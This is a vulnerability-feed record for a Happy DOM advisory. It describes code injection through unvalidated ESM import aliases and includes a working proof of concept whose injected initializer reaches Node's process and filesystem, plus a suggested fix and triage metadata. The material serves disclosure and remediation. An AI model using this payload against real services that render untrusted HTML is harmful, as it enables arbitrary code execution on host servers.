{"id":"CVE-2026-115895","kind":"vulnerability","aliases":["CVE-2026-115895","GHSA-834v-8h66-3h79"],"related":[],"title":"Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution","description":"## Summary\n\nThe ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.\n\nAs a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.\n\nThis appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.\n\nThese issues were confirmed through the public `Window` and `<script type=\"module\">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.\n\n## Confirmed affected versions\n\nThe PoC was directly tested against:\n\n- `happy-dom@17.0.0`\n- `happy-dom@20.0.0`\n- `happy-dom@20.1.0`\n- `happy-dom@20.14.5`\n\nThe same PoC does not trigger on `happy-dom@16.8.1`.\n\nThe ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.\n\nSuggested affected range:\n\n```text\n>= 17.0.0, <= 20.14.5\n```\n\nNo patched version is currently available.\n\n## Preconditions\n\n- JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`.\n- Attacker-controlled HTML or module source is processed by Happy DOM.\n- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.\n\n## Technical details\n\nIn `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias:\n\n```ts\nconst nameParts = part.trim().split(/\\s+as\\s+/);\nconst alias = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\nconst name = nameParts[0].replace(/[\"']/g, '');\n\nif (alias && name) {\n  properties.push({ name, alias });\n}\n```\n\nUnlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier.\n\nIt is subsequently inserted directly into generated binding syntax:\n\n```ts\nnewCodeStart += `let {${properties\n  .map((property) =>\n    property.alias\n      ? `\"${property.name}\": ${property.alias}`\n      : property.name\n  )\n  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;\n```\n\nConsider the following source:\n\n```js\nimport {\n  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from './dep.json' with { type: 'json' };\n```\n\nThis is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.\n\nHappy DOM instead transforms it into the equivalent of:\n\n```js\nlet {\n  \"missing\": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} = $happy_dom.imports.get('https://poc.local/dep.json');\n```\n\nThis generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.\n\nThe `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:\n\n```ts\nif (!match[7] || match[7] === 'esm') {\n  resolvableCircularImports.push({ url, properties });\n}\n```\n\nUsing a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.\n\nBacktick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:\n\n```js\nglobalThis.constructor.constructor(`return process`)()\n  .getBuiltinModule(`node:fs`)\n  .mkdirSync(\n    globalThis.constructor.constructor(`return process`)().cwd() +\n      `/HAPPY_DOM_RCE_PROOF`\n  )\n```\n\n## Proof of concept\n\nThe following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.\n\n### 1. Create `package.json`\n\n```json\n{\n  \"name\": \"happy-dom-import-alias-rce-poc\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"happy-dom\": \"20.14.5\"\n  }\n}\n```\n\n### 2. Create `dep.json`\n\n```json\n{}\n```\n\n### 3. Create `payload.mjs`\n\nThis file is used as a control to demonstrate that a native ECMAScript parser rejects the source:\n\n```js\nimport {\n  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from './dep.json' with { type: 'json' };\n```\n\n### 4. Create `poc.mjs`\n\n```js\nimport { Window } from 'happy-dom';\nimport { existsSync, rmSync } from 'node:fs';\nimport { resolve } from 'node:path';\n\nconst proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');\nrmSync(proofDirectory, { recursive: true, force: true });\n\nconst window = new Window({\n  url: 'https://poc.local/',\n  settings: {\n    enableJavaScriptEvaluation: true,\n    suppressCodeGenerationFromStringsWarning: true,\n    fetch: {\n      virtualServers: [\n        {\n          url: 'https://poc.local/',\n          directory: process.cwd()\n        }\n      ]\n    }\n  }\n});\n\nconst script = window.document.createElement('script');\nscript.type = 'module';\n\nscript.textContent = `\n  import {\n    missing as injected = globalThis.constructor.constructor(\\`return process\\`)()\n      .getBuiltinModule(\\`node:fs\\`)\n      .mkdirSync(\n        globalThis.constructor.constructor(\\`return process\\`)().cwd() +\n        \\`/HAPPY_DOM_RCE_PROOF\\`\n      )\n  } from './dep.json' with { type: 'json' };\n`;\n\nwindow.document.body.appendChild(script);\nawait window.happyDOM.waitUntilComplete();\n\nif (!existsSync(proofDirectory)) {\n  console.error('[-] Exploit failed: proof directory was not created.');\n  console.error(\n    window.happyDOM.virtualConsolePrinter.readAsString()\n  );\n  process.exitCode = 1;\n} else {\n  console.log(`[+] Host filesystem reached: ${proofDirectory}`);\n}\n\nawait window.happyDOM.close();\n```\n\n### 5. Run the control test\n\n```console\nnpm install\nnode --check payload.mjs\n```\n\nExpected result:\n\n```text\nSyntaxError: Unexpected token '='\n```\n\nThis confirms that the source is not valid ESM.\n\n### 6. Run the Happy DOM PoC\n\n```console\nnode poc.mjs\n```\n\nExpected result:\n\n```text\n[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF\n```\n\nThe existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.\n\nThe PoC was also verified inside a `node:24-alpine` Docker container, where it created:\n\n```text\n/poc/HAPPY_DOM_RCE_PROOF\n```\n\n## Impact\n\nAn attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.\n\nThis may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.\n\nThe demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.\n\n## Relationship to CVE-2026-33943\n\nCVE-2026-33943 covers expression injection through a local export declaration:\n\n```js\nexport { attacker_expression }\n```\n\nIts fix added identifier validation to the `importName` used by the `export { ... }` handler:\n\n```ts\nif (\n  exportName &&\n  importName &&\n  VALID_VARIABLE_NAME_REGEXP.test(importName)\n) {\n  // ...\n}\n```\n\nThis report uses a different parsing and code-generation path:\n\n```js\nimport { name as malicious_alias } from './module';\n```\n\nThe unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.\n\nThe issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`.\n\n## Suggested fix\n\nValidate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:\n\n```diff\n- if (alias && name) {\n+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {\n```\n\nA regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.\n\nThis change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors.\n\nFor additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation.\n\n## Verification record\n\n- Testing date: 2026-09-17\n- Duplicate check updated: 2026-09-20\n- Platform: Windows 11\n- Node.js: `24.14.1`\n- Latest tested package: `happy-dom@20.14.5`\n- Source tag: `v20.14.5`\n- Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318`\n- First confirmed affected version: `17.0.0`\n- Confirmed unaffected version: `16.8.1`\n- Docker environment: Node 24 Alpine\n- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.","summary":"Happy DOM's ESM compiler inserts unvalidated import aliases into generated JavaScript, so a malformed import declaration becomes executable code. An attacker who can supply module source to an app that evaluates JavaScript through Happy DOM can run code with the privileges of the Node.js host process.","severity":"high","cvss":8.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"happy-dom","fixed":["21.0.4"],"affected":">= 17.0.0, <= 21.0.3","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-94","happy-dom","node","package","scraping","ssr","testing"],"not_affected_if":["default-config","enablejavascriptevaluation-off","happy-dom-16.x","static-html-only"],"how_to_check":"Run npm ls happy-dom in each project that uses it and check whether the version is in the affected range.\nCheck whether enableJavaScriptEvaluation is set to true in Window or settings.","fix":"Upgrade happy-dom to 21.0.4 or later, per the advisory's fixed version.\nIf you cannot upgrade, disable enableJavaScriptEvaluation for untrusted HTML.","status":"open","published_at":"2026-10-23T22:06:13+00:00","first_seen_at":"2026-10-23T22:15:56+00:00","triaged_at":"2026-10-23T22:17:14+00:00","updated_at":"2026-10-23T22:17:14+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-10-23T22:17:14Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade happy-dom to 21.0.4 or later, per the advisory's fixed version.\nIf you cannot upgrade, disable enableJavaScriptEvaluation for untrusted HTML.","reach":"internet","impact":"high","summary":"Happy DOM's ESM compiler inserts unvalidated import aliases into generated JavaScript, so a malformed import declaration becomes executable code. An attacker who can supply module source to an app that evaluates JavaScript through Happy DOM can run code with the privileges of the Node.js host process.","category":"package","who_cares":["happy-dom","node","ssr","scraping","testing"],"confidence":0.7,"needs_auth":"no","worst_case":"Attacker runs arbitrary code on the Node.js host and reads or writes files","analyst_note":"Sources conflict on the affected range: the advisory says <=21.0.3 fixed in 21.0.4, while the report says <=20.14.5 with no patch available. Check https://github.com/advisories/GHSA-834v-8h66-3h79 and the happy-dom 21.0.4 release notes to confirm the fixed version and whether 20.x is patched.","how_to_check":"Run npm ls happy-dom in each project that uses it and check whether the version is in the affected range.\nCheck whether enableJavaScriptEvaluation is set to true in Window or settings.\nunknown","needs_analyst":true,"not_affected_if":["enableJavaScriptEvaluation-off","default-config","happy-dom-16.x","static-html-only"],"user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001179,"input_tokens":6236,"output_tokens":1110,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-115895':19A,27A '-2026':7A,18A,26A,148C '-33943':8A,149C '-94':32B '20.14.5':96C '3h79':24A '3r64':146C '6q6h':144C '834v':22A '8h66':23A 'alia':11A,117C,169C 'alias':49B,103C 'altern':135C 'app':70B 'appear':131C 'attack':62B 'becom':58B 'bind':102C 'code':15A,60B,79B,172C 'compil':45B,91C 'confirm':177C 'context':173C 'cve':6A,17A,25A,147C 'cwe':31B 'declar':57B 'default':126C 'destructur':125C 'direct':170C 'dom':2A,30A,35B,42B,76B,95C 'esm':44B,90C,115C 'evalu':72B 'execut':16A,59B,129C 'export':158C 'fix':4A,152C 'generat':51B,108C 'ghsa':21A,143C 'ghsa-6q6h-j7hj-3r64':142C 'ghsa-834v-8h66-3h79':20A 'handler':159C,164C 'happi':1A,34B,41B,75B,94C 'happy':29A 'happy-dom':28A,33B,93C 'host':14A,86B 'import':10A,48B,56B,100C,116C,163C 'importnam':154C 'incomplet':3A,139C 'initi':127C 'inject':136C 'insert':46B 'interpol':105C 'invalid':114C 'issu':175C 'j7hj':145C 'javascript':52B,73B,109C,124C 'lead':12A 'local':101C,157C 'malform':55B 'modul':66B 'name':162C 'node':36B 'node.js':85B 'packag':37B 'path':137C 'place':166C 'previous':151C 'privileg':82B 'process':87B 'public':180C 'remedi':140C 'result':112C 'run':78B 'scrape':38B 'sourc':67B 'ssr':39B 'still':165C 'summari':88C 'suppli':65B 'test':40B 'transform':120C 'unsanit':9A 'unvalid':47B,168C 'valid':99C,123C,153C 'window':181C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-23T22:06:13+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-834v-8h66-3h79","url":"https://github.com/advisories/GHSA-834v-8h66-3h79","severity":"high","published_at":"2026-10-23T22:06:13+00:00","modified_at":"2026-10-23T22:06:14+00:00","first_seen_at":"2026-10-23T22:15:56+00:00","fetched_at":"2026-10-23T22:15:56+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-115895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115895","severity":null,"published_at":"2026-10-23T22:16:58+00:00","modified_at":"2026-10-23T22:16:58+00:00","first_seen_at":"2026-10-23T23:44:51+00:00","fetched_at":"2026-10-23T23:44:52+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}